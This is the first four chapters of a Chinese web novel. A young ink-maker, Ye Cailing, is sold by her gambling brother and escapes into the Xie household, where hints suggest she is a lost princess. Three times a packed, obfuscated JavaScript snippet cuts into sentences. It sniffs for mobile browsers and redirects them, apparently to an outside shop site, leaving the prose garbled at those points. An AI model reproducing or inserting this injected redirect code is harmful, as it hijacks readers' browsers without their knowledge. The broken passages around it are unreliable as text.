《首辅白月光回京了》 1. 第 1 章（修） 大周二十年。初冬。 谢泓着绯色官袍，行在宫墙一侧，偏头与同僚讲话。 “哎，宣岑兄。”同僚道：“须得回避。” 朝臣面前行来一乘凤辇。 茜红色梁脊，四面垂挂着绣工繁丽的珠帘。那珠帘上绣着兰竹，每一片竹叶尖儿上皆坠着细细的碎玉珠。 谢泓略一望，心道大抵是哪位皇家贵戚。已是微微侧身，负手将牙笏放至身后。 此刻寒风却不凑巧。 轿帘被风掀动，他与轿内贵女猝不及防对上眼神。 谢泓心下巨震。 她嫣红唇角微扬。 眸光流转间，却是再不看他，只看向怀中拢着的白鸟。 那白鸟小巧地偎在她胸前，几乎要被领口缀着的一色雪貂绒没了去，乌溜溜的眼睛望着她鬓边的鎏金九蝠嵌红珊瑚步摇，鸟喙带着点嫩黄，亲昵地在她袖口蹭了蹭。 明明是记忆里静婉清丽的一张脸，配上怀里的活物，这幅场景竟有几分奇异的殊艳。 谢泓失声：“你——” 一瞬间他想到很多名字，却找不到最合适的来回应。 同僚已经张惶扯他袍袖。 看面前贵女的服制，有些消息灵通的人已经了然。 这白鸟是岭南进贡的，太后那里独一只。宫中传闻，最后赏给的便是那位太后最疼的容筠公主。 谁能想到一向清正端方的谢首辅，此时却愣在此处，成为最失态的一个？ 叶容筠低眸，却没有丝毫情绪的波动。 “雪衣，我们走罢。” 她温声道，纤指轻抚过手里的白鸟，没有再回眸。 * 大周十三年。暮春。 五月云州，积雨新霁，水色溶溶。 云州的印坊因为取水量大的缘由，惯是临溪修建。此刻雨后的风带着凉意，吹得南墙悬挂的印纸哗哗作响。有风卷起纸片，眼见着那一摞油墨未干的印纸即将被卷入溪水中，少女眼明手快抄起一块薄石板，当做镇纸压在上面。 “叶姑娘真是麻利。” 印坊掌柜掀帘进后院，刚好看到这一幕，笑道。 灶底墨材燃烧的味道逐渐转为熟悉的微焦油脂气息，叶采苓心知这批制墨的油烟火候已到，转身熄灭灶火。 等待收烟的档口，她把袖子挽得高了些，转身向掌柜的福了一福。 “不敢当。” 她犹豫了一晌，启唇道：“掌柜的，我知不妥，只是家母还等着药，敢问今日可否为我先结了这月的月钱？” 掌柜的表情惊讶：“叶大竟没和你说？” 见叶采苓不解，他道：“你哥已经把钱支走了。” “他前日便来过，言道已经和你说好，说你娘急着抓药，我便支了月钱给他。” 叶采苓咬咬牙。 便知道长兄又出去赌。 她道：“无妨，我今日便找他要去。娘急着用钱抓药，想必他不敢乱花。” 便是乱花，也要教他吐出来。 掌柜的便点头，心道叶姑娘看着柔柔弱弱的，做起事来却是个绝不含糊的，和她那长兄看着真真云泥之别。 印坊的竹帘掀动时有碰撞声。 叶采苓循声看去便是一愣：“哥？” 正要去寻他，怎么自己便来了。 她长兄叶大缀在一群人后头，一副鹌鹑样子，拖着脚走进印坊。 叶大跟着的那群人则都是凶煞模样。 “叶大这窝囊的，倒是真说了句实话。他这妹子确实望着伶俐。”为首的精瘦男子目光对着她上下逡巡了一番，轻哼了一声： “喏，咱们赌庄新买的庄荷丫头，带人吧。” 叶采苓腕骨传来剧痛，有打手二话不说，上来扣住她手腕开始扯她。而长兄叶青山竟就在那里抱臂看着，露出讪笑。 “诸位爷，诸位爷——”印坊掌柜的和气生财惯了，此刻极慌。 挺着胖乎乎的身子试图走到中间说和。 掌柜的赔着笑望一眼那些人，道：“这丫头一贯是机灵的，要是哪里不慎惹着诸位爷了，小的先替她赔个不是。” “苓姑娘，你要么也说说，看可否有误会？” “咳咳……咳。”她感觉到钳制她的手有些许放松。 新鲜空气涌入口鼻，叶采苓先是呛咳了几声，又知道时间紧迫，忙道：“几位爷，无意冒犯，但民女家住下马陵，家里都是清白良籍——敢问几位爷是否识错人了？” 人在屋檐下，她不得不做出一副温和小意的模样。 精瘦男人嗤笑一声，瞅了一眼叶青山。叶青山会意，忙掏出一张文书递到她眼前。 凝神细看，长兄歪七扭八的字体，已出现在那卖身抵赌债的文书上。 父亲离世，依《大周律》家里的确是长兄当家。 “苓娘，你就安心随他们去吧。其实那赌庄也并不差的。”叶青山嗫嚅着。 一瞬间眼前天旋地转，她咬紧牙关。 焦灼场面忽地被一道清亮的声音打破。 一个伶俐小厮进门，身量尚小，着一身利落短衫，只脆生生道：“敢问掌柜的在何处？” 印坊掌柜此刻正为眼前事焦头烂额，无暇再管顾生意。此刻苦着脸道：“我便是，只是——” “我们府里定了些墨锭，今日便约好了要来取。” 小厮笑道：“敢问掌柜可否行个方便，主子尚在外面等着。” 掌柜认出了此人，心知是贵客，但苦于现在一波未平一波又起，只得忙不迭道：“是竹明小哥啊，您先稍等，稍等片刻。” “那我便先去和主子报一声。” 竹明也不恼，转身道。 叶采苓此刻被扯住头发，耳朵里只听到这对话，忽然灵光一闪。 他们正在谈印坊的墨锭？若是将自己的利益与印坊绑定，或否有一线生机。 “爷，民女知道了。是长兄发卖的民女。” 突然，叶采苓望着那精瘦男人，语气坦然地道。 精瘦男人挑挑眉：“那便随我回……” 叶采苓点点头，却是对着叶青山发问：“长兄，但你却没和这位爷说过么——我那日已和印坊定好契约，须得把，把十两精工墨制出来送到谢府。” “此墨只有我会制，若是误了制墨工期，府内怪罪下来怕是不妙。” 先以制墨为名，周旋几日。 “哦？真有此事？”叶青山并不知悉，此时却是慌了起来。 精瘦男人脸色沉下去。 他瞅着面前这丫头容色确实不错，看着也是伶俐的。叶大昨日赌红了眼，把这丫头抵了债，他们金宝坊自然笑纳。但要是此人真为谢府制墨，他便也有几分忐忑。 谢府在云州根基深厚，家族从政从商者皆有。还出了个本朝最年轻的探花郎，传闻近日刚从京城回到云州。 正是鲜花着锦的时候，这时候谁也不想触了谢府的霉头，哪怕是个制墨的小事。 但眼前的丫头真能一力承办了这谢府制墨么，男人沉思。 迎着对面男人打量的眼神，叶采苓硬咬住牙关，让自己看起来从容自若。 “的确是谢府。” 她道。 天知道她一个豆蔻年华的少女能了解到多少高门望族，此刻硬扯出来一个谢府，还是因为之前印坊承办过谢府的典籍印制。 当时谢府给印坊的报酬极大方，但对应的要求也严苛的紧。连印刷的墨锭都是专门给印坊送去的。 整齐的墨锭码在印坊门口。 “地道的徽州墨啊。”她当时在印坊的师傅望着那些墨赞叹道：“真真是上好的松烟入墨，落纸如漆，字字隽秀分明。” 送墨的谢家家仆笑说：“师傅真是内行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464240|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。我们家大公子殿试结束下月要回来，公子用惯了此墨，故我们也提前备上。” 大周的墨锭分两种，普通民众使的是油烟墨，墨迹浓黑清晰，日常使用足矣。而松烟墨工艺繁琐，且对松木品质要求颇多，故有一两松墨一两银的传闻。谢府大少爷用松烟墨印书，足见其家族地位。 她当时在旁边听，便对这谢府的松烟墨有了些印象。 精瘦男人仍不愿即将到手的肥肉脱手，眼睛一转，却道：“那你跟我们先走。若你真要制墨，到赌坊里给你个空地去制便是。” 完了——叶采苓心头一坠。 * 此刻院外，刚刚的小厮竹明走去一驾考究的马车旁，低声向内禀报。 “大公子，院内似有嘈杂，怕是有事发生。” “您看看是否先回府，还是再等些工夫？” 车内静了片刻。 “书阁整修须得用墨锭，你且回去等。” 车内青年人闲闲地翻过一页书，从容道。 竹明领命而去。 正欲走进院子，却和院内那些人打了个照面。 精瘦男人毫不留情地硬扯着手里的少女，正对着她皮笑肉不笑道：“你还躲？说了先随我们回去——你回去不能制墨么？之后我们自去谢府打问！” 谢府？竹明眼角微微抽搐了一下。心道主子性子疏冷，怎会见得面前这些不三不四之人来府。 “在下竹明，即在谢府做工。你们莫要去谢府，有何事在此处直言便可。” 他这爽利地一拱手，却是不动声色地拦住了这些赌庄打手的路。 “呦，真是巧了。” 精瘦男人下巴一点叶采苓方向，道：“这丫头，五两银子抵债的。结果她说已经承办了你们府里的制墨，那劳什子墨只有她会制。” 叶青山刚刚张口结舌了一会子，就怕此番抵不上赌债。此刻忙腆着脸追问：“是了，这丫头惯会扯谎的。敢问府内是否寻过她制墨？” 竹明却一怔：“此事我并不知晓，须得问过主子。” 精瘦男人道：“你且去问。” 未过多久。 竹明低声问过，此刻转过身，表情却似是有几分不忍。 他道：“并无……” 叶采苓深呼吸，心里却是直往下坠。 自然并无此事。但她心里知晓事情发展到这里，眼前的谢府，却是她脱身唯一的机会了。 事态愈急迫，便愈要清醒。 她当年在印坊的记忆突然浮现的格外清晰。 那时，师傅还说了什么来着？ 一道温温婉婉的声音忽地在众人耳边响起。 少女打断竹明，明净小脸上一双眼睛甜润如荔，神色从容。 好像面前确实是她的老熟人似的。 “竹明小哥，那日府里来人寻制墨师傅。谢府近日用墨量极大，须得寻些新人。” “婢子被选中是因为祖籍徽州歙县，自幼便耳濡目染，知晓松烟入墨之法。” 竹明心道她这分明是信口开河，但望着面前唇色些微有些苍白的少女，拒绝之言却未曾说出口。 他只是下意识地重复了她的话：“——松烟入墨之法？” 叶采苓目光清亮，微笑着点头。 “松烟入墨……落纸如漆，字字分明。” * 油青篷布里传来窸窣的衣料声，有玉佩碰撞的声音传入众人耳中。 君子佩玉，温雅风流。 车内年轻男子此刻微微垂着眼，却是散漫地开口道，声音轻而笃定。 “——确是我选的制墨之人。” 他眸光深澈，竟是一副清冷端方的好容色。 明明听着是一把年青人的嗓子，却透出一股上位者的从容与沉稳。 “竹明，既然在此遇到她了，便直接携她一并回府吧。” 2. 第 2 章 “得令。” 竹明听到大少爷的命令，毫不迟疑地点头。 “云白，你去支取银子。这位姑娘，随我回府吧。” 一个不认识的小厮翻身上马离开，想来应该是云白。 “婢子知晓。” 叶采苓微福一礼，亦是迈步上了那马车之后的随行车驾。 后知后觉地心跳加速起来。 她从未赌过，但她想，大抵此生最惊心动魄的赌局便停留在今日了。 她用尽了所有能忆起的信息。 个中惊险，旁人无从得知。 所幸她赌对了。 * 车轮压在地上，发出辘辘之声。 载着叶采苓的马车越过谢府正门，来到西南角的一处垂花小门。 叶采苓下车，意料之中地没有见到先前的那驾油青马车。 谢府规矩森严，主子们自然不会和下人同走一道门。 “叶姑娘是么？” 马蹄声传来，一个近侍模样的少年人翻身下马，头发有些不羁地支棱着。他一手掏出身契，对着叶采苓打量了一眼，单手拴好缰绳咧嘴一笑。 “走吧，我名石青，自幼跟着泓哥儿的。我们管事的叫我先带叶姑娘去府里。” 路上穿过几道院门，只见到几个丫头婆子，见到石青都垂手侍立在一旁。 走了许久，尚没有走到终点。 “石青……公子。”叶采苓有些犹豫，出于礼数还是加了公子二字：“敢问公子有没有见到民女家人？” 石青耸耸肩：“姑娘多礼，叫我石青便是了。旁的人没见过，只见了你那大哥，他道是刚从赌庄回来。” 叶采苓还欲再问，石青却停住脚步，指着面前一道雕花门道：“喏，这边便是谢府内院，男子不得入内的。” “——许嬷嬷。” 内院门里站的婆子着一身褐衣，挽一个利落的低髻，手里还挎一只竹编小食盒。此刻她笑着递食盒给石青，言道这是内院自己蒸的糕点。 “左不过小丫头子自己蒸着玩的，你取些给你们院里的一分便是。” 石青笑嘻嘻地便接过，口中称谢，一边示意叶采苓跟着许嬷嬷进院。 叶采苓忙点头称是。 心下暗道这谢府果然规矩严明的紧，府内仿佛自成江湖，人情世故信手拈来。她若要在此立足，怕也是少不了做些许嬷嬷这种人情。 两人一前一后地前行。 “听闻你叫采苓？那我便唤你苓娘了。” 许嬷嬷语调不温不火，此刻引着叶采苓往内院继续走，心里却是一阵嘀咕着。 谢府买人一向要层层挑拣。 更别说泓哥儿眼前的位置，谢家一水儿的家生丫鬟都要想法子争抢。无他，谢家长房嫡子谢泓此番是为回乡省亲，但谁都知晓泓哥儿将来必是要回京城的。 大周十三年最年轻的探花，芝兰玉树一样的好容色，为人又清正端方。 前途必定无量。 谢府内多少双眼睛都盯着。都是为奴为婢，左右不过想跟着主子飞升，跟对主子，少走多少弯路。 此刻这苓娘名不见经传，也不是庄子上的家生子。她独个儿从府外来，一进来便被指了去泓哥儿院里。 许妈妈悄摸打量这姑娘的容貌。 真真是清丽。 色如海棠。 莫非——是泓哥儿给自己挑的通房？ 想到此处，许嬷嬷对叶采苓的态度更是好了几分，引着她去了一处小院。 “这便是泓哥儿的丫鬟住的院落了。苓娘别嫌挤，四位掌事丫鬟的人选还未定，现下连你八个丫鬟都住在此院。等定下人选后便会分院了。” “若真跟了泓哥儿，便是独享一处院落。苓娘先下先在此处落个脚便是。” 叶采苓福了一福，送走许嬷嬷，心里疑虑。 通房？怎么感觉许嬷嬷她语气里带着些羡慕。 但她此番前来，也并没有要当通房的意思。 走进院落。 几个丫鬟正在屋檐下闲聊着，见到叶采苓进来，不住地用眼上下打量。 几人对视了一眼，嬉笑着推了一个丫鬟出来。 叶采苓挽着包袱，笑容温和：“婢子名唤叶采苓，诸位姐妹唤一声苓娘便可。” 被推出来的丫鬟不住地看她的脸，晾了叶采苓片刻，有些古怪地笑道。 “敢问苓娘家里是那个庄子的，可有父母兄长在谢府做工？” 叶采苓摇摇头，心道这便是在盘道她的来路了。 据说高门望族各有家生子，虽然也是为奴为婢，但忠心耿耿，往往是各个主子们眼前的红人。 说不定这几个丫鬟便是家生子。 叶采苓道：“婢子家住下马陵，家里不曾有人在谢府做工。敢问姐姐芳名？” 那丫鬟冷笑：“苓娘你真会说笑。我们都是清清白白的丫头，哪里敢和你姐妹相称？” “闻笛你别和她掰扯了，左不过偷偷搭上泓哥儿，此刻还敢在这里那我们姐妹当猴儿耍呢！” 另外的丫鬟笑嘻嘻道。 几个人不搭理叶采苓，转头便各自散开回房了。 留下她在院落中央呆站了片刻。 此刻谢府高墙之外。 一个形销骨立的男子已经在这里蹲了好几个时辰。此刻他向地上呸了一声，望见守门家仆好似要离开，立即摇摇晃晃地站起来要往门里进。 守门家仆见惯了不怀好意要硬闯的人，此刻当即注意到对方的动作，一转身轻车熟路地往后拦了一把这男子。 叶青山哎呦一声假装跌倒在地，却硬换上一副笑脸，腆着脸道：“爷，小民妹子真在府里做工，还请爷行个方便，容我和家妹说片刻话。” 家仆已经推拒此人多次，此刻好耐性也被消磨殆尽，道：“谢府自有谢府的规矩，若你家妹真是谢府丫鬟，她自当告诉你每月出府归家的时日，何须你在此胡搅蛮缠？” 叶青山唯唯诺诺称是，还想问什么，家仆彻底没了耐心，转身便不理睬他了。 叶青山又向地上唾了一口唾沫，嘴里嘀咕着什么走了。 回去的路上他想起前日发生的事，不住冷笑起来。叶采苓还以为她是个什么货色，她不过是个捡来的野丫头罢了。 但此刻还不能告诉她，毕竟她攀上了谢府的高枝。 等她的出府日，这丫头还会回来的—— * 几天前，叶青山回家的那日，更深露重。 下马陵的街坊们已经陷入沉睡，叶采苓轻而快地在街道上走着，手里攥紧她的粗布包袱。 长兄说出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464241|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找事做，却好几日未归了，所幸她还在印坊帮忙制墨，靠月钱也能补贴家里。 木门吱呀一声，她推门而入，意料之中地看到一双乌溜溜的眼。 小妹蘋娘坐在桌前，此刻见到长姐一叠声地喊，站起来就向她身上扑，小手接过她抱着的包袱，熟门熟路地往里面寻。 “长姐，今日有没有吃食？蘋儿饿了。” 叶采苓无奈地看着她，摇摇头。 “家里约莫还有些糯米粉，长姐舀些给你做团子吃，好不好？” 蘋娘嘟着小嘴，显然是失望的模样。 “之前说好给蘋儿带桂花糕的……” 小丫头话虽这么说，但却已经懂事地去院里替叶采苓搬煮团子的柴火了。 叶采苓无奈地笑笑。 从前家里也算是有些积蓄，父母在云州贩卖蔬果，她在家中行二，长兄叶青山读书虽不成，但从商随了父母，颇有些生意头脑。 自云州附近战乱起始后，生意便难做起来。父亲出去贩果子时死于时疫，母亲因此一病不起。 长兄为了筹钱远走，至今三月无音讯。 只剩下她和小妹守家。 当初长兄留下的银钱不多，她们纵使再节俭也已经花尽。况且还有母亲定期的药是无底洞。 她现在在印坊替掌柜做些零工，眼明手快很得印坊众人喜爱，只是月钱一月一支，近日手头确实紧。 她叹气，默默盘算起明天还能去何处找些零工做做。 “呀——” 忽的听到小妹一声尖叫。她心下一慌，三步并作两步奔出院门。 来人风尘仆仆，一身粗布衣裳布满烟熏的痕迹，衣领袖口甚至有黑泥。 对方抬头，可见额角有一道蜿蜒的新疤，暗红的颜色能看出来是新受的伤。 正是长兄叶青山。 她松一口气，原来刚刚是叶采蘋惊喜的叫声。小妹她不管这许多，依旧是老一套，见了家人便要吃食。 叶青山呵呵一笑，从怀中掏出糕点给她。 “快进来。” 叶采苓立即招呼。 几人在灯火下坐定。母亲杜氏在病榻上昏睡，此刻见了叶青山也来了些精神，勉力撑着身子坐起。 叶采苓望着采蘋手里的糕点，微微皱起眉头。 那糕点外表有些粗劣，斜斜地切成大块，上面嵌着红绿果丝，倒不像寻常巷口买的。 小妹管不得许多，吃得高兴。 “兄长此番回来，可还要远行？” 叶青山摇头。 “我回来是为筹钱。” * 叶采苓和杜氏相视一眼，叶采苓微微叹一口气，转去灶台。眼见汤团已经在锅中翻滚，她犹豫了片刻又向里加了些清水。 无他，本就只做了刚够吃的份。先下只能加水来再凑出一碗。 看着那一碗几乎光可照人的团子汤，叶青山筹钱的话也哽在喉咙里了。 他没碰那碗汤，困兽一样地在狭小的堂屋里转来转去。 “这下没法子了，没法子了。那些人是不会心慈手软的。” 声音渐低下去。 “卖人，卖地，都是他们干得出来的事啊。” 叶采苓心生疑虑，又见叶青山一副颓靡的样子，忽的电光火石之间想到了什么。 3. 第 3 章 “长兄，”她一双黑白分明的眼望着面前的男子，那一瞬间眼底的犀利清光几乎让叶青山不敢直视她：“你说实话，是真的出去筹钱给娘抓药了，还是去庄子——做赌钱的行当了？” 叶采苓聪慧，虽然不知道赌坊的模样。但之前打零工的时候，也听印坊师傅讲些市井闲谈。 说城郊有专门用于赌钱的庄子，外表不显，内里却别有洞天。并且内外都极讲究风水与气运，连吃食都要一水红绿，取一个五光十色大赚的彩头。 再结合叶青山这副萎靡不振的样子，一回来便急着要钱的话语，哪里还有不清楚的道理？ 杜氏听到这话也急了，忙问。 “青山，告诉为娘，究竟是怎么回事？” 叶青山此刻见再瞒不过，垂头丧气地和盘托出。 不过是寻常套路，急用钱的人往往更容易被赌坊盯上。叶青山去白州收果子赚钱，却连白州都没到，就在云州附近的客栈被勾着去了赌坊。 赌坊的人都是人精，叶青山他做着一本万利的美梦，但耐不住赌坊出千。最后在赌坊把带出去的银子赔得精光。 但他此刻显然还没有意识到自己已经被人做局，泥足深陷，还恳切地向杜氏保证自己一定能赚回钱。 “娘，家里还有什么物什可以暂抵给庄子的？”叶青山见装不下去了，此刻摇着杜氏的臂膀哀求。明明已经成年，还硬作一副小儿模样，只是为套出房契下落。 杜氏看着自己唯一的儿子这副不成器的做派，眼里泪珠几乎要落下。 “儿啊，不是为娘不帮你。咱家已经揭不开锅了，你也知道啊。”她一脸病容，望着那几碗团子汤哀叹。 叶采蘋吃完糕点还要去拿。她分不清兄长和长姐带出去的包袱皮，此刻大大咧咧拆开一只包袱，里面的东西掉出来，和桌面碰击出叮的一声。 那是金石之声。 叶青山大概是在赌坊泡久了，此刻居然展现出极大的敏锐度，循着声音便去看。 等杜氏想阻拦的时候，他已经从叶采苓的包袱内翻出一块玉牌，捏着那玉牌凑近灯下仔细瞧了。 那是一块白玉牌，巴掌大小，上面竟奇异地俏出一丝红，雕着一双长足鹤。此刻正仰头望月，作鸣叫状，鹤翎纤毫毕现，一望便知雕工精湛。 “料子细腻，是，是汉白玉是不是？”他显然对玉器不了解，强撑着说了个自以为昂贵的名字。 叶采苓在心中默默叹息。 长兄确实不通文墨，但她之前一直以为他还有些头脑，现在看来甚至无生活常识。 “长兄，汉白玉是石头，不值钱的。” 叶青山摇头：“啊，是岫玉，岫玉。” 同样是不值钱的石料。 叶采苓从他手里取回玉牌，小心地包好：“这块玉牌，当铺说是和田籽料。” 叶青山眼中露出毫不遮掩的贪婪光芒。 “但——当铺见了却要报官，说这是前朝的东西，他们上报了有赏。我拦着并未让他们上报，只抢出玉牌离开了。” 她望着叶青山，缓缓地摇头，眉目温婉，讲出来的话却是毫不留情：“长兄你若是不想被视为前朝余孽，还是当作没见过这玉牌的好。” 杜氏睁大眼睛望着这一切。 玉牌是她今日给叶采苓的，但她也没想到玉牌不仅没有当出去，这样看来她们全家反而会因此生祸——当下受到刺激，捂住心口晕了过去。 “娘亲！” “娘！” 叶采苓没有料到如此变故，慌忙去扶。 叶青山自知理亏，此刻也搀着杜氏，让她躺回榻上。 所幸杜氏这征兆大抵是急火攻心，来得快去得也快。大约半时辰便幽幽醒转。 她望着榻边的三兄妹，微微闭上双眼，转头唤了叶青山。 “吾儿，你留在为娘身边，娘要和你说几句体己话。” 杜氏一双哀婉的眼望着叶采苓：“苓娘，你带蘋娘先回房。” 叶采苓点头，拉起蘋娘的手。 小孩子大抵藏不住话，入睡前蘋娘还是没有忍住，借着如豆灯光，对着叶采苓发问。 “长姐，我们真的是鱼？” “鱼的话是不是会被官府抓走？和长姐，和娘亲分开？” 叶采苓爆发出今日的第一声大笑，伸手捏了捏小妹圆鼓鼓的脸颊：“不是鱼，是余孽。” “不过蘋儿也不必担心，是长姐在诈他。你只要知道，长姐会一直伴在蘋儿身边就好了。” 蘋娘眨眨眼：“鱼捏？那到底是什么？” 但她显然从长姐的话里获得了足够的安全感，此刻很快不再细究，进入了梦乡。 床上辗转反侧的只剩下叶采苓。 光线幽微的卧房内，有朔风自高远夜空穿过，在房梁之间和着月光鸣响，声音算不得动听。 她微微叹息。 玉牌是娘给她的。但在此之前，她从未见过。 她今晨拿到玉牌的时候就问过杜氏，对方只含糊地和她说，是家里的。 家里怎么会有这么精细的玉？仅看雕工，她也能看出来这是非同凡响的东西。 今天她跑了许多家当铺，几家比较下来，她已经能估出这玉牌的大概价格。当铺虽然都在故弄玄虚地压价，但叶采苓自然不会给对方发挥的机会，见对方压价压得狠了，借机离开便是。 过几日寻个合适时间，她自会挑价高的铺子去当。 但叶青山已经深陷赌坊，若是让他当了这玉牌，恐怕当铺出个半两银他都会毫不迟疑的脱手，换回的银子马上掷到赌桌之上。 她便随机应变，拿了个前朝余孽的幌子唬住叶青山，让他不要打玉牌的主意便罢了。真要是前朝的东西，早有人扭着她论功行赏去了，怎么还能放任她把那玉牌拿走？ 明日便继续去寻零工吧。 打定这样的主意，叶采苓将油灯吹熄，也逐渐进入黑甜乡。 * 云州城午后才是真的热闹起来。 叶采苓道别了采蘋，背着包袱出门寻工了。今日母亲大抵身体更加不适，没有出来送她。长兄叶青山也不知所踪。 叶采苓摇摇头，对着堂屋的方向嘱咐道：“娘，我今日寻到差事便去医馆抓药。娘今日先用药渣煎些药服下，也算有些效力。” 不知过了多久，堂屋传来一声闷闷的应声，似乎杜氏是哭过。 叶采苓又嘱咐了两句，跨出院门。 * 今早叶青山出门之前就感觉心脏一阵狂跳。 但他想到杜氏昨晚和他说的惊天秘密，又觉得他的一切所作所为是理所当然的。 他就知道，别看叶采苓她有些鬼点子，他们叶家主事的也只能是他。 男子啊，就是光宗耀祖，发卖一个丫头片子就和饮水一样简单。 总之，那天杜氏在灯光下踌躇半晌，还是和他说了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464242|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “儿啊。娘亲原本想把这事一辈子烂在肚子里。但今天苓娘说那玉牌是前朝余孽的，为娘的就知道这事迟早瞒不住了。” “当时你尚小，大抵不记得——那家邻居是生面孔，他们送苓娘过来的时候，外头在下雨。” 仿佛火药炸开，叶青山被这句话背后的意义惊得瞪大双眼：“生面孔？娘，你的意思是，苓娘是那家人送的，不是我亲妹子？” 杜氏仿佛没有注意到叶青山震惊的表情，此刻还沉浸在回忆里：“是啊，那户人家新搬来，穿的还没咱家好，但处事莫名的周全舒心。那时他们抱着苓娘过来，苓娘尚小，在咱家院门外哇哇地哭。那家人给了一个包袱，里头放了这块白玉牌。” “娘记得，里面还有一张细白纸，明明雨水也透进去了，但墨就是没洇开。纸上头写着她的生辰，还说了三月内定登门领回这女娃，到时必定重谢。” “说来也奇怪，苓娘见到我们就不哭了。当时你爹本来担心有祸端，不肯留下她。但苓娘当时看着他就笑得特别甜，小手伸出来要抱。” 杜氏眼眶再次红了：“谁知道苓娘这丫头真的是前朝余孽啊，是不是马上就要有官兵来追杀我们了？” 她望着叶青山，已然有些哽咽：“我不能为着她，把自己家灭了啊。” 叶青山表情冷硬，此刻心里还盘算着杜氏之前说的话。 “娘，后来的重谢呢？是不是没有重谢？” “哪里会有啊，人家要是真来给谢礼，那苓娘定然会被他们领回去就是。” 杜氏有些无奈地道，依旧满脸愁容，和叶青山商量：“你说我们要不要离开云州避一避，悄悄地，不要带上苓娘。” 这是她能想出的最狠心的办法了，但她真的没办法看着叶青山和叶采蘋去死。 青山是他们叶家唯一的男丁，采蘋更是年纪尚小。 但叶青山却望着她，露出了隐秘的微笑。 “不必了，娘。” “既然她本来就是送来的，她家里人还说之后有重谢。重谢没有了，那现在就是她欠咱们家的。” 叶青山显然在赌坊得了一些新的思路： “欠债还钱天经地义。发卖了她就是。” 杜氏捂住口，有些震惊地望着她的儿子。 “我绝不答应。” 片刻后她有些虚浮的开口，但声音里的软弱暴露了她的犹豫。 “人牙子会把人卖到什么地方，你知晓吗？苓娘她是你妹妹——” “她不是我妹妹，蘋娘才是。”叶青山无情道：“况且若她不离开，到时候官兵追查前朝余孽到这里，死的就是你我了，娘亲。” 杜氏捂着嘴压抑着哭声，她怕一墙之隔的苓娘和蘋娘听见。 眼前好像又出现那天的苓娘了，软乎乎的小脸，伸出手要她抱。 “我，我不同意，我——” “没事，娘，爹死了之后就是我做主。男人才能做主不是吗。” 叶青山轻轻地笑了，像是一条毒蛇终于吐出了它的信子：“赌坊早和我提过有卖人的门路，她这就是现成的赌金——娘若是心疼苓娘，明日大可以提前告诉她。” 叶青山推门离去，杜氏瘫软在床上，好像流干了所有的眼泪。 记忆里的孩子逐渐离她远去。 伸着小手，甜甜的笑，要她抱的孩子。 泪流到那日早上。 她终究还是没告诉苓娘。 4. 第 4 章 “公子。” 听漪小筑内，青年脊背端直，一袭白衣绣着雅致的兰草暗纹。此刻正低头挽袖，将笔尖润入墨池中。 “何事？”声音清正端方。 “您吩咐的事，小的已经尽力去查了。但云州这地界您也知道，人来人往。您让小的去寻的那位贵人……尚无消息。”石青低头道。 “知道了，无事。”青年道。他望着约莫二十出头的年纪，眉眼斯文，隽如朗月，但若仔细看去，眼底却带几分漫不经心的温凉。 ——当年那个雪团儿似的小姑娘，若长到现在，也快要及笄了吧。 他心中虽这么想，面色依旧平静，抿笔落字。一手字风骨卓然，落在信笺之上清隽分明。 “宣岑尚未寻得公主下落。” 言罢他把信笺封好，交给石青。 “将信寄去京城吧。” “是，公子。”石青接过信笺。 “对了，石青。派些人手走访当年那户人家的街坊邻居，看看有无她的消息。再唤云白进来。”谢泓道。 石青应声，躬身退下。 云白进来，对着房内侍立的丫鬟招呼了一声。 “公子，您内房八个丫鬟已经召集齐了，先前公子在京城，手边少些得力人手，如今应老夫人吩咐，把名册给您。” 云白向主子汇报，那侍立在一旁的丫鬟丹琴便在一旁翻开名册放在谢泓手边。 “公子，老夫人的意思是，什么时候您去看看，指几个合眼缘的放在身边培养。” 丹琴也道。丹琴现下是公子身边唯一的丫鬟，年岁渐长，到了离府的年龄，故在寻找接班人之事上亦尽心尽力。 丹琴：“须得四名一等丫鬟，掌内院事务，并四名二等丫鬟，掌洒扫及各类杂务。公子您醉心书法，文墨这一区更需得力的丫鬟才能接手。” 谢泓却摇摇头，道：“随意便可，我此番也只是小住三月，自不必铺张。人选你们自己拟定，做事麻利些便好。” “但此番须得给丫鬟们分个高下，”丹琴犹疑：“之后您身边的丫鬟要替主子分忧的，您自己不拣选一番吗？” 谢泓：“你定。” 丹琴知晓这位主子的脾性，公子看似温和随性，但实则行事沉稳，他定下的事绝不会有转圜余地，便应声道：“是，婢子今日即办此事。” 提到文墨，云白想起什么，道：“是了主子，前日里有个叶姑娘，您留下说让她制墨。是否需我一试叶姑娘的制墨水平？” 谢泓沉吟片刻。 他事务繁多，此刻若不是云白提起，很难回想起前日里发生的事情。 